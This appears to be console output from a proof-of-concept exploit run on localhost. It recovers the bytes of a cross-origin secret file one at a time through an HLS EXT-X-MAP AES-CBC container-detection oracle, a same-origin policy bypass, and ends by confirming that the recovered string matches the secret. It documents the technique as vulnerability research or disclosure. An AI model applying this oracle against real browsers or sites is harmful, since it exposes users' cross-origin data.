[*] HLS EXT-X-MAP cross-origin AES-CBC container-detection oracle
[*] Attacker origin : http://127.0.0.1:8080
[*] Victim resource : http://127.0.0.1:8081/secret.bin
[*] Recovering first 15 bytes (?n=N to change)...
  off=0: HIT at iv0=0xf0 (durationchange d=1.044892, 592ms, seg=2 init=2) -> dk0=0xb7 -> bytes [0x7,0x48] '.H'
  off=1: HIT at iv0=0x54 (durationchange d=1.044892, 537ms, seg=2 init=2) -> dk0=0x13 -> bytes [0x4c] 'L'
  off=2: HIT at iv0=0xdb (durationchange d=1.044892, 685ms, seg=2 init=2) -> dk0=0x9c -> bytes [0x53,0xe0] 'S.'
  off=3: HIT at iv0=0xd6 (durationchange d=1.044892, 526ms, seg=2 init=2) -> dk0=0x91 -> bytes [0x2d] '-'
  off=4: HIT at iv0=0xdb (durationchange d=1.044892, 570ms, seg=1 init=1) -> dk0=0x9c -> bytes [0x53,0xe0] 'S.'
  off=5: HIT at iv0=0xec (durationchange d=1.044892, 726ms, seg=1 init=1) -> dk0=0xab -> bytes [0x4f] 'O'
  off=6: HIT at iv0=0xe1 (durationchange d=1.044892, 443ms, seg=1 init=1) -> dk0=0xa6 -> bytes [0x50] 'P'
  off=7: HIT at iv0=0xd6 (durationchange d=1.044892, 517ms, seg=1 init=1) -> dk0=0x91 -> bytes [0x2d] '-'
  off=8: HIT at iv0=0x3f (durationchange d=1.044892, 498ms, seg=1 init=1) -> dk0=0x78 -> bytes [0x42] 'B'
  off=9: HIT at iv0=0x82 (durationchange d=1.044892, 657ms, seg=1 init=1) -> dk0=0xc5 -> bytes [0x59] 'Y'
  off=10: HIT at iv0=0xe1 (durationchange d=1.044892, 660ms, seg=1 init=1) -> dk0=0xa6 -> bytes [0x50] 'P'
  off=11: HIT at iv0=0x3a (durationchange d=1.044892, 575ms, seg=1 init=1) -> dk0=0x7d -> bytes [0x41,0xeb] 'A.'
  off=12: HIT at iv0=0xdb (durationchange d=1.044892, 572ms, seg=1 init=1) -> dk0=0x9c -> bytes [0x53,0xe0] 'S.'
  off=13: HIT at iv0=0xdb (durationchange d=1.044892, 495ms, seg=1 init=1) -> dk0=0x9c -> bytes [0x53,0xe0] 'S.'
  off=14: HIT at iv0=0x03 (durationchange d=1.044892, 394ms, seg=1 init=1) -> dk0=0x44 -> bytes [0x21] '!'
============================================================
[+] RECOVERED CROSS-ORIGIN BYTES: "HLS-SOP-BYPASS!"
[+] candidate sets: [[7,72],[76],[83,224],[45],[83,224],[79],[80],[45],[66],[89],[80],[65,235],[83,224],[83,224],[33]]
============================================================

---
[RESULT] JS recovered: 'HLS-SOP-BYPASS!'
[RESULT] actual secret: 'HLS-SOP-BYPASS!'